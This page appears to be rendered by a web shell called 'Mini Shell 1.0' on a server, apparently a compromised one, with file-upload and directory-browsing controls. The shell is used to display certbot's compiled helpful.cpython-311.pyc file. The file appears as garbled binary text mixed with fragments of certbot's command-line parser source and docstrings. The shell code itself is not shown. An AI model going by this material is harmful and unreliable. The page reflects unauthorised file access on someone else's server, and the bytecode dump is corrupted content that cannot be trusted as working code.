HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/certbot/_internal/cli/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/certbot/_internal/cli/__pycache__/helpful.cpython-311.pyc
�

E��cVR���dZddlZddlZddlZddlZddlZddlmZddlmZddlm	Z	ddlm
Z
ddlmZddlmZddl
Z
dd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlm Z ddlm!Z!ddl"m#Z#ddl"m$Z$ddl%m&Z'ddl(m)Z)ddl*m+Z+Gd�d��Z,dS) z$Certbot command line argument parser�N)�Any)�Dict)�Iterable)�List)�Optional)�Union)�crypto_util)�errors)�util)�	constants)�hooks)�ARGPARSE_PARAMS_TO_REMOVE)�COMMAND_OVERVIEW)�EXIT_ACTIONS)�HELP_AND_VERSION_USAGE)�SHORT_USAGE)�ZERO_ARG_ACTIONS)�_Default)�add_domains)�CustomHelpFormatter)�flag_default)�HelpfulArgumentGroup)�	VERB_HELP)�
VERB_HELP_MAP)�obj)�disco)�osc	�.�eZdZdZ	d$deedeededdfd�Zgd	�Z	defd
�Z
deedeeefdefd�Zd
e
jddfd�Zde
jfd�Zd
e
jddfd�Zd
e
jddfd�Zd%d�Zdedeeedeeeffd�Zdeeeeeefdededdfd�Zdedeeeffd�Zdededdfd�Zd&dedeededefd �Zdejddfd!�Z d"eeefdeeeeffd#�Z!dS)'�HelpfulArgumentParserz�Argparse Wrapper.

    This class wraps argparse, adding the ability to make --help less
    verbose, and request help on specific subcategories at a time, eg
    'certbot --help security' for security options.

    F�args�plugins�detect_defaults�returnNc��ddlm}id|j�d|j�d|j�d|j�d|j�d|j�d	|j�d
|j�d|j	�d|j
�d
|j�d|j�d|j�d|j
�d|j�d|j�d|j�|_t%jt(j��j|_gd�}|t1|j��|jzdgzz
}t1|��}||zdgz|_||_||_|jr|jddkr
d|jd<|���|�d|j��}|�d|j��}|t?|t@��rt?|t@��r
|p||_!nt?|tD��r|n||_!|�#||j!��}	|�$|j!��|_%i|_&i|_'tQj)d|	tTddgtWd��d�,d�-tWd���������|_.d |j._/|dS)!Nr)�main�auth�certonly�run�installr!�register�update_account�show_account�
unregister�renew�revoke�rollback�
everything�update_symlinks�certificates�delete�enhance)�all�security�paths�
automation�testing�manage�help�--help�-h�certbotz-cz--config�config_filesz"path to config file (default: {0})z and )�prog�usage�formatter_class�args_for_setting_config_path�default_config_files�config_arg_help_messageF)0�certbot._internalr%r'r(r)�plugins_cmdr*r+r,r-r.r/r0r2r3r4r5�VERBS�display_obj�NoninteractiveDisplay�sys�stdout�notification�notify�list�COMMANDS_TOPICS�help_topicsr"r �determine_verb�prescan_for_flag�
isinstance�bool�help_arg�str�
_usage_string�determine_help_topics�visible_topics�groups�defaults�configargparse�	ArgParserrr�format�join�parser�_add_config_file_help)
�selfr r!r"r%�HELP_TOPICS�plugin_names�help1�help2�short_usages
          �?/usr/lib/python3/dist-packages/certbot/_internal/cli/helpful.py�__init__zHelpfulArgumentParser.__init__0s���*�*�*�*�*�*�
��D�M�
���
�
�
�4�8�
�
�t�|�	
�

�t�'�
�
��
�

�
�d�1�
�
�D�-�
�
�$�/�
�
�T�Z�
�
�d�k�
�
��
�
�
�$�(�
�
�t�3�
�
�D�-�
� 
�d�k�!
�"
�t�|�#
��
�*"�7��
�C�C�P���,a�+`�+`���t�D�J�'�'�$�*>�>�(��K�K��,0��M�M��0;�l�0J�d�V�0S���.�����	��9�	$���1���/�/�#�D�I�a�L��������%�%�d�D�,<�=�=���%�%�h��0@�A�A���'��e�T�"�"�	G�z�%��'>�'>�	G�!�N�U�D�M�M�%/��s�%;�%;�F�E�E��D�M��(�(��$�-�@�@��"�8�8���G�G���;=���(*��
�$�.���/�*.�
�);�!-�n�!=�!=�$H�$O�$O����\�.�9�9�:�:�%<�%<�
=�=�=���-2���)�����)�command�commands�
subcommand�subcommands�verbsc���td�tD����}d}tt��D]6\}}|�dd��}|d�|||���z
}�7|dz
}|S)Nc3�4K�|]}t|��V��dS�N)�len)�.0�vs  rj�	<genexpr>z:HelpfulArgumentParser._list_subcommands.<locals>.<genexpr>{s(����4�4��c�!�f�f�4�4�4�4�4�4rlz,The full list of available SUBCOMMANDS is:

�short�z{0:<{length}}     {1}
)�lengthzG
You can get more help on a specific subcommand with --help SUBCOMMAND
)�maxr�sortedr�getr`)rd�longest�text�verb�props�docs      rj�_list_subcommandsz'HelpfulArgumentParser._list_subcommandszs����4�4�m�4�4�4�4�4��?��!�)�,�,�	P�	P�K�D�%��)�)�G�R�(�(�C��-�4�4�T�3�w�4�O�O�O�D�D��[�[���rlrWc��d|vrd}nd}d|vrd}nd}t}|dur?|�|t||fzztz��t	jd��n�||jvr?|�||���z��t	jd��nZ|d	kr|t||fzz
}nDt|t��r/tj|i���d
d��}|r|n|}|S)a#Make usage strings late so that plugins can be initialised late

        :param plugins: all discovered plugins
        :param help_arg: False for none; True for --help; "TOPIC" for --help TOPIC
        :rtype: str
        :returns: a short usage string for the top of --help TOPIC)
        �nginxzH--nginx           Use the Nginx plugin for authentication & installationz+(the certbot nginx plugin is not installed)�apachezI--apache          Use the Apache plugin for authentication & installationz,(the certbot apache plugin is not installed)Trr6rBN)rrOrrrL�exitrQr�rUrXrr~)rdr!rW�	nginx_doc�
apache_docrB�customs       rjrYz#HelpfulArgumentParser._usage_string�s&���g���b�I�I�E�I��w���d�J�J�G�J����t����K�K�� 0�J�	�3J� J�J�Mc�c�d�d�d��H�Q�K�K�K�K�
��-�
-�
-��K�K��� 6� 6� 8� 8�8�9�9�9��H�Q�K�K�K�K�
��
�
�
�%��Y�(?�?�?�E�E�
��#�
&�
&�	0�"�&�x��4�4�8�8��$�G�G�F�$�/�F�F�%�E��rl�parsed_argsc���|jdkrY|jj���D]<\}}|�d��r d|vr|jrt
��ng|_�;dSdS)z8Make "certbot renew" safe if domains are set in cli.ini.r.�config_file�domainsN)r�rb�_source_to_settings�items�
startswithr"rr�)rdr��source�flagss    rj�&remove_config_file_domains_for_renewalz<HelpfulArgumentParser.remove_config_file_domains_for_renewal�s����9����!%��!@�!F�!F�!H�!H�
U�
U�
����$�$�]�3�3�U�	�U�8J�8J�8<�8L�*T�(�*�*�*�RT�K�'�� ��
U�
Urlc�,���j��j��}�j�j|_�j|_��|���jr|S�fd�t|��D���_	�jdkr?|j
r1tjd�
tj�����d|_|j
r8|jr1tjd�
tj�����|js|jr��|��|jr��|��|jrd|_|jrt3j|��|jr2t7d�|jD����rtjd���|jr|jrtjd���t?|j tB��r,tE|j ��d	krtjd
���|S)z�Parses command line arguments and returns the result.

        :returns: parsed command line arguments
        :rtype: argparse.Namespace

        c�j��i|]/}|tj�j�|������0S�)�copy�deepcopyrb�get_default)rv�keyrds  �rj�
<dictcomp>z4HelpfulArgumentParser.parse_args.<locals>.<dictcomp>�sE���;�;�;�!$��d�m�D�K�,C�,C�C�,H�,H�I�I�;�;�;rlr.z{0} cannot be used with renewTz.Flag for non-interactive mode and {0} conflictc3�>K�|]}tj|��V��dSrt)r�is_wildcard_domain�rv�ds  rjrxz3HelpfulArgumentParser.parse_args.<locals>.<genexpr>�s-����K�K�!�4�*�1�-�-�K�K�K�K�K�KrlzFUsing --allow-subset-of-names with a wildcard domain is not supported.z@Parameters --hsts and --auto-hsts cannot be used simultaneously.�z8Only *one* --key-type type may be provided at this time.)#rb�
parse_argsr rIr��funcr�r"�varsr]�force_interactiver
�Errorr`r�FORCE_INTERACTIVE_FLAG�noninteractive_mode�staging�dry_run�set_test_server�csr�
handle_csr�must_staple�staple�validate_hooksr
�allow_subset_of_names�anyr��hsts�	auto_hstsrU�key_typerPru)rdr�s` rjr�z HelpfulArgumentParser.parse_args�sf����k�,�,�T�Y�7�7���:�d�i�0����9����3�3�K�@�@�@���	���;�;�;�;�(,�[�(9�(9�;�;�;��
�
�9�����,�
;��l�3�:�:�!�8�:�:�;�;�;�/3�K�+��(�	7�[�-L�	7��,�@�G�G��4�6�6�7�7�
7���	.�+�"5�	.�� � ��-�-�-��?�	)��O�O�K�(�(�(��"�	&�!%�K���%�	.�� ��-�-�-��,�	I��K�K�{�7J�K�K�K�K�K�
I��l�$H�I�I�I���	T�� 5�	T��,�R�T�T�
T��k�*�D�1�1�	L�c�+�:N�6O�6O�RS�6S�6S��,�J�L�L�
L��rlc���td��tjf}|jr|j|vrtjd���|j|vrtj|_|jr�|jdvrtjd|jz���dx|_	|_tj
tj�
|jtjd����rd|_d|_dSdSdS)zGWe have --staging/--dry-run; perform sanity check and set config.server�serverz'--server value conflicts with --staging)r'r.zN--dry-run currently only works with the 'certonly' or 'renew' subcommands (%r)T�*N)rr�STAGING_URIr�r�r
r�r�r��break_my_certs�globr�pathra�
config_dir�ACCOUNTS_DIR�tos�register_unsafely_without_email)rdr��default_serverss   rjr�z%HelpfulArgumentParser.set_test_server�s	��(��1�1�9�3H�I����	J�;�#5�_�#L�#L��,�H�I�I�I����0�0�!*�!6�K����		C��y� 5�5�5��l�$L�NR�i�$X�Y�Y�Y�?C�C�K�&��)<��y�����k�&<�i�>T�VY�Z�Z�[�[�
C�#'���>B��;�;�;�		C�		C�

C�
Crlc�<�|jdkrtjd���|jrtjd���|jdd�\}}tj||��\}}}|D]}t||���|s"tjd|jdz���||f|_d�|D��}t|j
��}	||	krNtjd�d	�
|��d	�
|	�������d
S)zProcess a --csr flag.r'z�Currently, a CSR file may only be specified when obtaining a new or replacement via the certonly command. Please try the certonly command instead.z1--allow-subset-of-names cannot be used with --csrr�zJUnfortunately, your CSR %s needs to have a SubjectAltName for every domainc�6�h|]}|�����Sr�)�lowerr�s  rj�	<setcomp>z3HelpfulArgumentParser.handle_csr.<locals>.<setcomp>#s ��2�2�2�Q�q�w�w�y�y�2�2�2rlzMInconsistent domain requests:
From the CSR: {0}
From command line/config: {1}z, N)r�r
r�r�r�r	�import_csr_filer�
actual_csr�setr��ConfigurationErrorr`ra)
rdr��csrfile�contents�typr�r��domain�csr_domains�config_domainss
          rjr�z HelpfulArgumentParser.handle_csr	sN����z�)�)��,� ;�<�<�
<��,�	T��,�R�S�S�S�'�O�A�a�C�0����'�7���J�J���S�'��	-�	-�F���V�,�,�,�,��	&��,�\��/�!�$�%�&�&�
&�#&�s����2�2�'�2�2�2���[�0�1�1���.�(�(��+�a����	�	�+�.�.��	�	�.�0I�0I�J�J�L�L�
L�)�(rlc��d|jvs	d|jvr	d|_dSt|j��D]D\}}||jvr6|}|dkrd}|dkrd}||_|j�|��dS�Ed|_dS)	z�Determines the verb/subcommand provided by the user.

        This function works around some of the limitations of argparse.

        r>r=r<Nr&r'r1r()r r��	enumeraterI�pop)rd�i�tokenr�s    rjrSz$HelpfulArgumentParser.determine_verb+s����4�9����D�I� 5� 5��D�I��F�!�$�)�,�,�		�		�H�A�u���
�"�"����6�>�>�%�D��<�'�'� �D� ��	��	�
�
�a� � � ����#���	�	�	rl�flag�possible_argumentsc��||jvrdS|j�|��}	|j|dz}||vr|Sn#t$rYnwxYwdS)asChecks cli input for flags.

        Check for a flag, which accepts a fixed set of possible arguments, in
        the command line; we will use this information to configure argparse's
        help correctly.  Return the flag's argument, if it has one that matches
        the sequence @possible_arguments; otherwise return whether the flag is
        present.

        Fr�T)r �index�
IndexError)rdr�r��pos�nxts     rjrTz&HelpfulArgumentParser.prescan_for_flagCsy���t�y� � ��5��i�o�o�d�#�#��	��)�C�!�G�$�C��(�(�(��
�)���	�	�	��D�	�����ts�>�
A�
A�topics�kwargsc���|�d��}|tjur|jj|i|��dSt|t��r|j|vr|jn|d}n|}|jr
|j	di|��}t|t��sF|j|r9||jvr|j|}|j|i|��dS|jj|i|��dStj|d<|jj|i|��dS)a1Add a new command line argument.

        :param topics: str or [str] help topic(s) this should be listed under,
                       or None for options that don't fit under a specific
                       topic which will only be shown in "--help all" output.
                       The first entry determines where the flag lives in the
                       "--help all" output (None -> "optional arguments").
        :param list *args: the names of this argument flag
        :param dict **kwargs: various argparse settings for this argument

        �actionNrr<r�)r~r�DeprecatedArgumentActionrb�add_argumentrUrPrWr"�#modify_kwargs_for_default_detectionrVr[r\�argparse�SUPPRESS)rdr�r r�r��topic�groups       rj�addzHelpfulArgumentParser.addYsB�����H�%�%���T�2�2�2�
%�D�K�$�d�5�f�5�5�5��F��f�d�#�#�	�&*�]�f�%<�%<�D�M�M�&��)�E�E��E���	H�=�T�=�G�G��G�G�F��%��&�&�	6�4�+>�u�+E�	6����#�#���E�*��"��"�D�3�F�3�3�3�3�3�(���(�$�9�&�9�9�9�9�9�%�.�F�6�N�$�D�K�$�d�5�f�5�5�5�5�5rlc���|�dd��}|tvrA|tvrdnd|d<t��|d<tD]}|�|d���|S)a_Modify an arg so we can check if it was set by the user.

        Changes the parameters given to argparse when adding an argument
        so we can properly detect if the value was set by the user.

        :param dict kwargs: various argparse settings for this argument

        :returns: a modified versions of kwargs
        :rtype: dict

        r�N�
store_true�store�default)r~rrrrr�)rdr�r��params    rjr�z9HelpfulArgumentParser.modify_kwargs_for_default_detection�sx�����H�d�+�+����%�%�06�:J�0J�0J��� '�
�8�� (�
�
�F�9��2�
(�
(���
�
�5�$�'�'�'�'��
rl�
argument_name�num_argsc�f�tj|jd��}tj|||��dS)a�Adds a deprecated argument with the name argument_name.

        Deprecated arguments are not shown in the help. If they are used
        on the command line, a warning is shown stating that the
        argument is deprecated and no other action is taken.

        :param str argument_name: Name of deprecated argument.
        :param int num_args: Number of arguments the option takes.

        N)�	functools�partialr�r�add_deprecated_argument)rdr�r��add_funcs    rjr�z-HelpfulArgumentParser.add_deprecated_argument�s3��2�$�T�X�t�4�4���$�X�}�h�G�G�G�G�Grlr�r�rqc���|j|rZ|jj|fi|��|j|<|jr8|D]5}|j|�|t|d����6t||��S)a�Create a new argument group.

        This method must be called once for every topic, however, calls
        to this function are left next to the argument definitions for
        clarity.

        :param str topic: Name of the new argument group.
        :param str verbs: List of subcommands that should be documented as part of
                          this help group / topic

        :returns: The new argument group.
        :rtype: `HelpfulArgumentGroup`

        ry)r<)r[rb�add_argument_groupr\rWr�rr)rdr�rqr�rws     rj�	add_groupzHelpfulArgumentParser.add_group�s��� ��u�%�	W�!?���!?��!P�!P��!P�!P�D�K����}�
W��W�W�A��K��&�3�3�A�M�!�<L�W�<U�3�V�V�V�V�#�D�%�0�0�0rlc��|���D]<\}}|�||j���}|j�||���=dS)z�

        Let each of the plugins add its own command line arguments, which
        may or may not be displayed as help topics.

        )�descriptionN)r�r��long_description�
plugin_cls�inject_parser_options)rdr!�name�	plugin_ep�parser_or_groups     rj�add_plugin_argsz%HelpfulArgumentParser.add_plugin_args�sk�� '�}�}���	N�	N�O�D�)�"�n�n�T�9B�9S�-�U�U�O�� �6�6���M�M�M�M�	N�	Nrl�chosen_topicc����dkrd��dkrd��dkrd�|jD��S�sd�|jD��S�fd�|jD��S)	z�

        The user may have requested help on a topic, return a dict of which
        topics to display. @chosen_topic has prescan_for_flag's return type

        :returns: dict

        r&r'r1r(r6c��i|]	}||dk��
S)zcertbot-route53:authr��rv�ts  rjr�z?HelpfulArgumentParser.determine_help_topics.<locals>.<dictcomp>�s ��M�M�M�q�A�q�2�2�M�M�Mrlc��i|]}|d��S�Fr�rs  rjr�z?HelpfulArgumentParser.determine_help_topics.<locals>.<dictcomp>�s��7�7�7��A�u�7�7�7rlc���i|]	}||�k��
Sr�r�)rvrrs  �rjr�z?HelpfulArgumentParser.determine_help_topics.<locals>.<dictcomp>�s ���?�?�?���1��$�?�?�?rl)rR)rdrs `rjrZz+HelpfulArgumentParser.determine_help_topics�s�����6�!�!�%�L��<�'�'� �L��5� � �M�M�D�<L�M�M�M�M��	8�7�7�d�&6�7�7�7�7�?�?�?�?�d�.>�?�?�?�?rlr)r#N)r�)"�__name__�
__module__�__qualname__�__doc__rrXrrVrkrQr�rrYr��	Namespacer�r�r�r�rSrrTrr�rr��intr�rr�r�PluginsRegistryrrZr�rlrjrr(s
��������*/�E�E�T�#�Y�E��#��E�"&�E�37�E�E�E�E�PT�S�S�O�	�3�	�	�	�	�!�X�c�]�!�e�C��I�>N�!�SV�!�!�!�!�FU�(�BT�U�Y]�U�U�U�U�:�H�.�:�:�:�:�xC�8�+=�C�$�C�C�C�C�:L�h�&8�L�T�L�L�L�L�D����0�S��h�x�PS�}�>U��#�C��I�.�����,,6�(�5��h�s�m�)<�c�)A�#B�C�,6�C�,6��,6�"�,6�,6�,6�,6�\�C��D��c��N�����,H�S�H�C�H�D�H�H�H�H�81�1�s�1�8�C�=�1��1�$8�1�1�1�1�.
N�u�'<�
N��
N�
N�
N�
N�@�%��T�	�2B�@�#'���
�t�(;�#<�@�@�@�@�@�@rlr)-r
r�r�r�r�rL�typingrrrrrrr^r?r	r
rrGrr
�#certbot._internal.cli.cli_constantsrrrrrr�certbot._internal.cli.cli_utilsrrrrr�certbot._internal.cli.verb_helprr�certbot._internal.displayrrJ�certbot._internal.pluginsr�certbot.compatrrr�rlrj�<module>rss��*�*�����������������
�
�
�
�����������������������������������������������������������'�'�'�'�'�'�#�#�#�#�#�#�I�I�I�I�I�I�@�@�@�@�@�@�<�<�<�<�<�<�F�F�F�F�F�F�;�;�;�;�;�;�@�@�@�@�@�@�4�4�4�4�4�4�7�7�7�7�7�7�?�?�?�?�?�?�8�8�8�8�8�8�@�@�@�@�@�@�5�5�5�5�5�5�9�9�9�9�9�9�8�8�8�8�8�8�+�+�+�+�+�+�������I@�I@�I@�I@�I@�I@�I@�I@�I@�I@rl